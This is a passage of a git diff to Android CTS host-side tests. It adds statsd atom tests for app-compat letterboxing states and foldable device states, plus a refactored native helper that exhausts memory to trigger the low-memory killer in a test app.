+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
@@ -66,6 +66,7 @@
 
         getDevice().startUser(secondUserID, true);
         getDevice().switchUser(secondUserID);
+        Thread.sleep(5000);
         installAppAsUser(TARGET_APK, secondUserID);
         waitForBroadcastIdle();
         Thread.sleep(5000);
diff --git a/hostsidetests/silentupdate/AndroidTest.xml b/hostsidetests/silentupdate/AndroidTest.xml
index 14d770c..caad158 100644
--- a/hostsidetests/silentupdate/AndroidTest.xml
+++ b/hostsidetests/silentupdate/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSilentUpdateTestCases.apk" />
diff --git a/hostsidetests/stagedinstall/AndroidTest.xml b/hostsidetests/stagedinstall/AndroidTest.xml
index 1e02c04..8c63f10 100644
--- a/hostsidetests/stagedinstall/AndroidTest.xml
+++ b/hostsidetests/stagedinstall/AndroidTest.xml
@@ -19,6 +19,7 @@
     <!-- Instant apps can't have INSTALL_PACKAGES permission. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <!-- Module reboots the device making it inelligible for running in secondary users. -->
     <!-- TODO: Revisit secondary user eligibility once b/137885984 is resolved. -->
diff --git a/hostsidetests/statsdatom/Android.bp b/hostsidetests/statsdatom/Android.bp
index 181f32e..6f2da5f 100644
--- a/hostsidetests/statsdatom/Android.bp
+++ b/hostsidetests/statsdatom/Android.bp
@@ -21,6 +21,7 @@
     defaults: ["cts_defaults"],
     srcs: [
         "src/**/alarm/*.java",
+        "src/**/appcompatstate/*.java",
         "src/**/apphibernation/*.java",
         "src/**/appops/*.java",
         "src/**/appexit/*.java",
@@ -31,6 +32,7 @@
         "src/**/bluetooth/*.java",
         "src/**/cpu/*.java",
         "src/**/devicepower/*.java",
+        "src/**/devicestate/*.java",
         "src/**/gnss/*.java",
         "src/**/jobscheduler/*.java",
         "src/**/integrity/*.java",
@@ -40,6 +42,7 @@
         "src/**/perfetto/*.java",
         "src/**/permissionstate/*.java",
         "src/**/settingsstats/*.java",
+        "src/**/sizecompatrestartbutton/*.java",
         "src/**/statsd/*.java",
         "src/**/telephony/*.java",
         "src/**/wifi/*.java",
diff --git a/hostsidetests/statsdatom/apps/statsdapp/AndroidManifest.xml b/hostsidetests/statsdatom/apps/statsdapp/AndroidManifest.xml
index 392841e..99b488c 100644
--- a/hostsidetests/statsdatom/apps/statsdapp/AndroidManifest.xml
+++ b/hostsidetests/statsdatom/apps/statsdapp/AndroidManifest.xml
@@ -58,6 +58,16 @@
              android:foregroundServiceType="camera"
              android:exported="true"/>
 
+        <activity android:name=".StatsdCtsNonResizeablePortraitActivity"
+                  android:resizeableActivity="false"
+                  android:screenOrientation="portrait"
+                  android:exported="true"/>
+        <activity android:name=".StatsdCtsMinAspectRatioPortraitActivity"
+                  android:resizeableActivity="false"
+                  android:screenOrientation="portrait"
+                  android:minAspectRatio="3"
+                  android:exported="true"/>
+
         <activity android:name=".VideoPlayerActivity"
              android:label="@string/app_name"
              android:resizeableActivity="true"
diff --git a/hostsidetests/statsdatom/apps/statsdapp/jni/alloc_stress_activity.cpp b/hostsidetests/statsdatom/apps/statsdapp/jni/alloc_stress_activity.cpp
index 0a005af..ad02aea 100644
--- a/hostsidetests/statsdatom/apps/statsdapp/jni/alloc_stress_activity.cpp
+++ b/hostsidetests/statsdatom/apps/statsdapp/jni/alloc_stress_activity.cpp
@@ -15,34 +15,27 @@
  *
  */
 
-#include <algorithm>
-#include <cstring>
-#include <fstream>
-#include <iostream>
+#include <android/log.h>
 #include <jni.h>
-#include <numeric>
-#include <sstream>
-#include <string>
-#include <tuple>
+#include <sys/mman.h>
 #include <unistd.h>
 
-#include <android/log.h>
+#include <sstream>
 #define LOG(...) __android_log_write(ANDROID_LOG_INFO, "ALLOC-STRESS", __VA_ARGS__)
 
-using namespace std;
-
-size_t s = 8 * (1 << 20); // 8 MB
-void *gptr;
+size_t s = 4 * (1 << 20); // 4 MB
+volatile void *gptr;
 extern "C" JNIEXPORT void JNICALL
-Java_com_android_server_cts_device_statsdatom_StatsdCtsForegroundActivity_cmain(
-        JNIEnv *, jobject /* this */) {
+Java_com_android_server_cts_device_statsdatom_MemoryHogger_allocate(JNIEnv *, jobject /* this */) {
+    volatile void *ptr;
     long long allocCount = 0;
     while (1) {
-        char *ptr = (char *)malloc(s);
-        memset(ptr, (int)allocCount >> 10, s);
-        for (int i = 0; i < s; i += 4096) {
-            *((long long *)&ptr[i]) = allocCount + i;
+        ptr = mmap(NULL, s, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
+        if (ptr == MAP_FAILED) {
+            // Likely exhausted address space
+            break;
         }
+        memset((void *)ptr, (int)allocCount >> 10, s);
         allocCount += s;
         std::stringstream ss;
         ss << "total alloc: " << allocCount / (1 << 20);
@@ -51,6 +44,6 @@
 
         // If we are too aggressive allocating, we will end up triggering the
         // OOM reaper instead of LMKd.
-        usleep(1000);
+        usleep(5000);
     }
 }
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/MemoryHogger.java
similarity index 70%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
copy to hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/MemoryHogger.java
index 669bb13..4b187e0 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/MemoryHogger.java
@@ -14,11 +14,15 @@
  * limitations under the License.
  */
 
-package com.android.bedstead.testapp;
+package com.android.server.cts.device.statsdatom;
 
-/** {@link Exception} thrown when a query doesn't match any test apps. */
-public class NotFoundException extends RuntimeException {
-    public NotFoundException(TestAppQueryBuilder query) {
-
+final class MemoryHogger {
+    static {
+        System.loadLibrary("lmkhelper_statsdatom");
     }
+
+    /**
+     *  Keep allocating memory until the process is killed by LMKD.
+     **/
+    static native void allocate();
 }
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsBackgroundService.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsBackgroundService.java
index d7ac653..daab751 100644
--- a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsBackgroundService.java
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsBackgroundService.java
@@ -27,6 +27,7 @@
     public static final String KEY_ACTION = "action";
     public static final String ACTION_BACKGROUND_SLEEP = "action.background_sleep";
     public static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
+    public static final String ACTION_ALLOCATE_MEMORY = "action.allocate_memory";
 
     public static final int SLEEP_OF_ACTION_BACKGROUND_SLEEP = 2_000;
 
@@ -43,6 +44,9 @@
             case ACTION_BACKGROUND_SLEEP:
                 AtomTests.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP);
                 break;
+            case ACTION_ALLOCATE_MEMORY:
+                new Thread(MemoryHogger::allocate).start();
+                break;
             case ACTION_END_IMMEDIATELY:
                 break;
             default:
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsForegroundActivity.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsForegroundActivity.java
index ff50d21..df11114 100644
--- a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsForegroundActivity.java
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsForegroundActivity.java
@@ -59,7 +59,6 @@
 
     static {
         System.loadLibrary("crashhelper");
-        System.loadLibrary("lmkhelper_statsdatom");
     }
 
     @Override
@@ -104,7 +103,7 @@
                 doPollNetworkStats();
                 break;
             case ACTION_LMK:
-                new Thread(this::cmain).start();
+                new Thread(MemoryHogger::allocate).start();
                 break;
             case ACTION_DRAIN_POWER:
                 doBusyWork();
@@ -242,9 +241,4 @@
     }
 
     private native void segfault();
-
-    /**
-     *  Keep allocating memory until the process is killed by LMKD.
-     **/
-    public native void cmain();
 }
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsMinAspectRatioPortraitActivity.java
similarity index 68%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
copy to hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsMinAspectRatioPortraitActivity.java
index 669bb13..6ec452f 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsMinAspectRatioPortraitActivity.java
@@ -14,11 +14,8 @@
  * limitations under the License.
  */
 
-package com.android.bedstead.testapp;
+package com.android.server.cts.device.statsdatom;
 
-/** {@link Exception} thrown when a query doesn't match any test apps. */
-public class NotFoundException extends RuntimeException {
-    public NotFoundException(TestAppQueryBuilder query) {
-
-    }
+/** A non-resizeable min aspect ratio portrait activity (to be run as a foreground process) which performs one of a number of actions. */
+public class StatsdCtsMinAspectRatioPortraitActivity extends StatsdCtsForegroundActivity {
 }
diff --git a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsNonResizeablePortraitActivity.java
similarity index 69%
copy from common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
copy to hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsNonResizeablePortraitActivity.java
index 669bb13..a198d8f 100644
--- a/common/device-side/bedstead/testapp/src/main/library/java/com/android/bedstead/testapp/NotFoundException.java
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/StatsdCtsNonResizeablePortraitActivity.java
@@ -14,11 +14,9 @@
  * limitations under the License.
  */
 
-package com.android.bedstead.testapp;
+package com.android.server.cts.device.statsdatom;
 
-/** {@link Exception} thrown when a query doesn't match any test apps. */
-public class NotFoundException extends RuntimeException {
-    public NotFoundException(TestAppQueryBuilder query) {
-
-    }
+/** A non-resizeable portrait activity (to be run as a foreground process) which performs one of a
+ * number of actions. */
+public class StatsdCtsNonResizeablePortraitActivity extends StatsdCtsForegroundActivity {
 }
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java
new file mode 100644
index 0000000..e192e72
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java
@@ -0,0 +1,247 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.appcompatstate;
+
+import static com.android.os.AtomsProto.AppCompatStateChanged.State.LETTERBOXED_FOR_ASPECT_RATIO;
+import static com.android.os.AtomsProto.AppCompatStateChanged.State.LETTERBOXED_FOR_FIXED_ORIENTATION;
+import static com.android.os.AtomsProto.AppCompatStateChanged.State.LETTERBOXED_FOR_SIZE_COMPAT_MODE;
+import static com.android.os.AtomsProto.AppCompatStateChanged.State.NOT_LETTERBOXED;
+import static com.android.os.AtomsProto.AppCompatStateChanged.State.NOT_VISIBLE;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.os.AtomsProto.AppCompatStateChanged;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import javax.annotation.Nullable;
+
+/**
+ * This test is for making sure that App Compat state changes log the desired atoms.
+ *
+ * <p>Build/Install/Run:
+ * atest CtsStatsdAtomHostTestCases:AppCompatStateStatsTests
+ */
+// TODO(b/197223993): test click on size-compat restart button
+public class AppCompatStateStatsTests extends DeviceTestCase implements IBuildReceiver {
+
+    private static final String RESIZEABLE_ACTIVITY =
+            "StatsdCtsForegroundActivity";
+    private static final String NON_RESIZEABLE_PORTRAIT_ACTIVITY =
+            "StatsdCtsNonResizeablePortraitActivity";
+    private static final String MIN_ASPECT_RATIO_PORTRAIT_ACTIVITY =
+            "StatsdCtsMinAspectRatioPortraitActivity";
+    private static final String CMD_GET_STAY_ON = "settings get global stay_on_while_plugged_in";
+    private static final String CMD_PUT_STAY_ON_TEMPLATE =
+            "settings put global stay_on_while_plugged_in %d";
+    private static final int ENABLE_STAY_ON_CODE = 7;
+    private static final String CMD_GET_AVAILABLE_DEVICE_STATES =
+            "cmd device_state print-states-simple";
+    private static final String CMD_RESET_DEVICE_STATE = "cmd device_state state reset";
+    private static final String CMD_PUT_DEVICE_STATE_TEMPLATE = "cmd device_state state %d";
+    private static final int DEVICE_STATE_CLOSED = 0;
+    private static final int DEVICE_STATE_OPENED = 2;
+    private static final int ELAPSED_TIME_MILLIS_THRESHOLD = 100;
+    private static final long ELAPSED_TIME_NANOS_THRESHOLD =
+            ELAPSED_TIME_MILLIS_THRESHOLD * 1000000;
+
+    private IBuildInfo mCtsBuild;
+    private long mOriginalStayOnSetting;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        mOriginalStayOnSetting = Long.parseLong(
+                getDevice().executeShellCommand(CMD_GET_STAY_ON).trim());
+        getDevice().executeShellCommand(
+                String.format(CMD_PUT_STAY_ON_TEMPLATE, ENABLE_STAY_ON_CODE));
+        getDevice().executeShellCommand(
+                String.format(CMD_PUT_DEVICE_STATE_TEMPLATE, DEVICE_STATE_CLOSED));
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        DeviceUtils.turnScreenOn(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.APP_COMPAT_STATE_CHANGED_FIELD_NUMBER, /*uidInAttributionChain=*/
+                false);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        getDevice().executeShellCommand(
+                String.format(CMD_PUT_STAY_ON_TEMPLATE, mOriginalStayOnSetting));
+        getDevice().executeShellCommand(CMD_RESET_DEVICE_STATE);
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testResizableActivityDeviceStateClosedToOpened() throws Exception {
+        testAppCompatFlow(RESIZEABLE_ACTIVITY, /* switchToOpened= */ true,
+                Arrays.asList(NOT_LETTERBOXED, NOT_VISIBLE));
+    }
+
+    public void testNonResizablePortraitActivityDeviceStateClosedToOpened() throws Exception {
+        // The 1st option for expected states is for portrait devices and the 2nd option is for
+        // landscape devices.
+        testAppCompatFlow(NON_RESIZEABLE_PORTRAIT_ACTIVITY, /* switchToOpened= */ true,
+                Arrays.asList(NOT_LETTERBOXED, LETTERBOXED_FOR_SIZE_COMPAT_MODE, NOT_VISIBLE),
+                Arrays.asList(LETTERBOXED_FOR_FIXED_ORIENTATION, LETTERBOXED_FOR_SIZE_COMPAT_MODE,
+                        NOT_VISIBLE));
+    }
+
+    public void testMinAspectRatioPortraitActivityDeviceStateClosedToOpened() throws Exception {
+        // The 1st option for expected states is for portrait devices and the 2nd option is for
+        // landscape devices.
+        testAppCompatFlow(MIN_ASPECT_RATIO_PORTRAIT_ACTIVITY, /* switchToOpened= */ true,
+                Arrays.asList(LETTERBOXED_FOR_ASPECT_RATIO, LETTERBOXED_FOR_SIZE_COMPAT_MODE,
+                        NOT_VISIBLE), Arrays.asList(LETTERBOXED_FOR_FIXED_ORIENTATION,
+                        LETTERBOXED_FOR_SIZE_COMPAT_MODE, NOT_VISIBLE));
+    }
+
+    public void testResizableActivityThenMinAspectRatioPortraitActivity() throws Exception {
+        // The 1st option for expected states is for portrait devices and the 2nd option is for
+        // landscape devices.
+        testAppCompatFlow(RESIZEABLE_ACTIVITY,
+                MIN_ASPECT_RATIO_PORTRAIT_ACTIVITY, /* switchToOpened= */ false,
+                Arrays.asList(NOT_LETTERBOXED, LETTERBOXED_FOR_ASPECT_RATIO, NOT_VISIBLE),
+                Arrays.asList(NOT_LETTERBOXED, LETTERBOXED_FOR_FIXED_ORIENTATION, NOT_VISIBLE));
+    }
+
+    public void testMinAspectRatioPortraitActivityThenResizableActivity() throws Exception {
+        // The 1st option for expected states is for portrait devices and the 2nd option is for
+        // landscape devices.
+        testAppCompatFlow(MIN_ASPECT_RATIO_PORTRAIT_ACTIVITY,
+                RESIZEABLE_ACTIVITY, /* switchToOpened= */ false,
+                Arrays.asList(LETTERBOXED_FOR_ASPECT_RATIO, NOT_LETTERBOXED, NOT_VISIBLE),
+                Arrays.asList(LETTERBOXED_FOR_FIXED_ORIENTATION, NOT_LETTERBOXED, NOT_VISIBLE));
+    }
+
+    public void testNonResizablePortraitActivitySwitchedToOpenedThenMinAspectRatioActivity()
+            throws Exception {
+        // The 1st and 2nd options for expected states are for portrait devices, the 3rd and 4th
+        // options are for landscape devices, and the 5th and 6th options are for portrait
+        // devices that unfold into landscape, there are two options for each type of device because
+        // the NOT_VISIBLE state between visible states isn't always logged.
+        testAppCompatFlow(NON_RESIZEABLE_PORTRAIT_ACTIVITY,
+                MIN_ASPECT_RATIO_PORTRAIT_ACTIVITY, /* switchToOpened= */ true,
+                Arrays.asList(NOT_LETTERBOXED, LETTERBOXED_FOR_SIZE_COMPAT_MODE, NOT_VISIBLE,
+                        LETTERBOXED_FOR_ASPECT_RATIO, NOT_VISIBLE),
+                Arrays.asList(NOT_LETTERBOXED, LETTERBOXED_FOR_SIZE_COMPAT_MODE,
+                        LETTERBOXED_FOR_ASPECT_RATIO, NOT_VISIBLE),
+                Arrays.asList(LETTERBOXED_FOR_FIXED_ORIENTATION, LETTERBOXED_FOR_SIZE_COMPAT_MODE,
+                        NOT_VISIBLE, LETTERBOXED_FOR_FIXED_ORIENTATION, NOT_VISIBLE),
+                Arrays.asList(LETTERBOXED_FOR_FIXED_ORIENTATION, LETTERBOXED_FOR_SIZE_COMPAT_MODE,
+                        LETTERBOXED_FOR_FIXED_ORIENTATION, NOT_VISIBLE),
+                Arrays.asList(NOT_LETTERBOXED, LETTERBOXED_FOR_SIZE_COMPAT_MODE, NOT_VISIBLE,
+                        LETTERBOXED_FOR_FIXED_ORIENTATION, NOT_VISIBLE),
+                Arrays.asList(NOT_LETTERBOXED, LETTERBOXED_FOR_SIZE_COMPAT_MODE,
+                        LETTERBOXED_FOR_FIXED_ORIENTATION, NOT_VISIBLE));
+    }
+
+    private void testAppCompatFlow(String activity, boolean switchToOpened,
+            List<AppCompatStateChanged.State>... expectedStatesOptions) throws Exception {
+        testAppCompatFlow(activity, /* secondActivity= */ null, switchToOpened,
+                expectedStatesOptions);
+    }
+
+    private void testAppCompatFlow(String activity, @Nullable String secondActivity,
+            boolean switchToOpened, List<AppCompatStateChanged.State>... expectedStatesOptions)
+            throws Exception {
+        if (!isOpenedDeviceStateAvailable()) {
+            CLog.i("Device doesn't support OPENED device state.");
+            return;
+        }
+
+        try (AutoCloseable a1 = DeviceUtils.withActivity(getDevice(),
+                DeviceUtils.STATSD_ATOM_TEST_PKG, activity, "action", "action.sleep_top")) {
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+            if (switchToOpened) {
+                getDevice().executeShellCommand(
+                        String.format(CMD_PUT_DEVICE_STATE_TEMPLATE, DEVICE_STATE_OPENED));
+                Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+            }
+
+            if (secondActivity != null) {
+                try (AutoCloseable a2 = DeviceUtils.withActivity(getDevice(),
+                        DeviceUtils.STATSD_ATOM_TEST_PKG, secondActivity, "action",
+                        "action.sleep_top")) {
+                    Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+                }
+            }
+        }
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        assertThat(expectedStatesOptions).asList().contains(
+                getAppCompatStatesForUid(DeviceUtils.getStatsdTestAppUid(getDevice())));
+    }
+
+    private List<AppCompatStateChanged.State> getAppCompatStatesForUid(int uid)
+            throws Exception {
+        ArrayList<AppCompatStateChanged.State> result = new ArrayList<>();
+        long prevTimestampNanos = 0L;
+        AppCompatStateChanged.State prevState = AppCompatStateChanged.State.UNKNOWN;
+        AppCompatStateChanged.State prevAddedState = AppCompatStateChanged.State.UNKNOWN;
+        for (EventMetricData data : ReportUtils.getEventMetricDataList(getDevice())) {
+            AppCompatStateChanged appCompatStateChanged = data.getAtom().getAppCompatStateChanged();
+            if (appCompatStateChanged.getUid() == uid) {
+                AppCompatStateChanged.State curState = appCompatStateChanged.getState();
+                assertThat(curState).isNotEqualTo(prevState);
+                if (prevState != prevAddedState && (
+                        (data.getElapsedTimestampNanos() - prevTimestampNanos)
+                                > ELAPSED_TIME_NANOS_THRESHOLD)) {
+                    result.add(prevState);
+                    prevAddedState = prevState;
+                }
+                prevState = curState;
+                prevTimestampNanos = data.getElapsedTimestampNanos();
+            }
+        }
+        if (prevState != prevAddedState) {
+            result.add(prevState);
+        }
+        return result;
+    }
+
+    private boolean isOpenedDeviceStateAvailable() throws Exception {
+        return Arrays.stream(
+                getDevice().executeShellCommand(CMD_GET_AVAILABLE_DEVICE_STATES).split(","))
+                .map(Integer::valueOf)
+                .anyMatch(state -> state == DEVICE_STATE_OPENED);
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/OWNERS
new file mode 100644
index 0000000..59a02ed
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/OWNERS
@@ -0,0 +1,5 @@
+# These atom tests are owned by the Android Framework team.
+tomnatan@google.com
+mariiasand@google.com
+benm@google.com
+akulian@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/devicestate/DeviceStateStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/devicestate/DeviceStateStatsTests.java
new file mode 100644
index 0000000..440bc94
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/devicestate/DeviceStateStatsTests.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.devicestate;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.stream.Collectors;
+
+/**
+ * This test is for making sure that device state changes send the desired metrics.
+ */
+public class DeviceStateStatsTests extends DeviceTestCase implements IBuildReceiver {
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    /**
+     * Queries the device using an adb command for all the possible device states, then switches
+     * to all the possible states one after another.
+     */
+    public void testDeviceStateChanges() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.DEVICE_STATE_CHANGED_FIELD_NUMBER);
+
+        List<Integer> availableStates = Arrays.stream(getDevice()
+                .executeShellCommand("cmd device_state print-states-simple")
+                .split(","))
+                .map(Integer::valueOf)
+                .collect(Collectors.toList());
+        if (availableStates.size() == 1) {
+            CLog.i("Device doesn't have more than one available state.");
+            return;
+        }
+
+        int currentState = Integer.parseInt(getDevice()
+                .executeShellCommand("cmd device_state print-state").trim());
+        for (int i = 0; i < availableStates.size(); i++) {
+            int currentStateIndex = availableStates.indexOf(currentState);
+            int nextStateIndex = currentStateIndex + 1;
+            if (nextStateIndex >= availableStates.size()) {
+                nextStateIndex = 0;
+            }
+            int nextState = availableStates.get(nextStateIndex);
+            CLog.d("testDeviceStateChange: from " + currentState + " to " + nextState);
+            testDeviceStateChange(nextState);
+
+            currentState = nextState;
+        }
+    }
+
+    private void testDeviceStateChange(int nextState) throws Exception {
+        getDevice().executeShellCommand("cmd device_state state " + nextState);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data.size()).isEqualTo(1);
+
+        AtomsProto.DeviceStateChanged deviceStateChanged =
+                data.get(0).getAtom().getDeviceStateChanged();
+        assertThat(deviceStateChanged.getNewDeviceState()).isEqualTo(nextState);
+
+        ReportUtils.clearReports(getDevice());
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/devicestate/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/devicestate/OWNERS
new file mode 100644
index 0000000..14b98d4
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/devicestate/OWNERS
@@ -0,0 +1,5 @@
+# These atom tests are owned by the Android Framework team.
+benm@google.com
+akulian@google.com
+darryljohnson@google.com
+andraskloczl@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
index 1d9cdc2..d41337b 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
@@ -118,7 +118,7 @@
         assertThat(reportList.getReportsCount()).isEqualTo(1);
         ConfigMetricsReport report = reportList.getReports(0);
         assertThat(report.getMetricsCount()).isEqualTo(1);
-
+        CLog.d("Got the following report: " + report.getMetrics(0).getGaugeMetrics().toString());
         List<Atom> atoms = new ArrayList<>();
         for (GaugeMetricData d : report.getMetrics(0).getGaugeMetrics().getDataList()) {
             assertThat(d.getBucketInfoCount()).isEqualTo(1);
@@ -126,7 +126,7 @@
             if (bucketInfo.getAtomCount() != 0) {
                 atoms.addAll(bucketInfo.getAtomList());
             } else {
-                backFillGaugeBucketAtoms(bucketInfo.getAggregatedAtomInfoList());
+                atoms.addAll(backFillGaugeBucketAtoms(bucketInfo.getAggregatedAtomInfoList()));
             }
             if (checkTimestampTruncated) {
                 for (long timestampNs : bucketInfo.getElapsedTimestampNanosList()) {
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/ProcessDmabufMemoryTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/ProcessDmabufMemoryTests.java
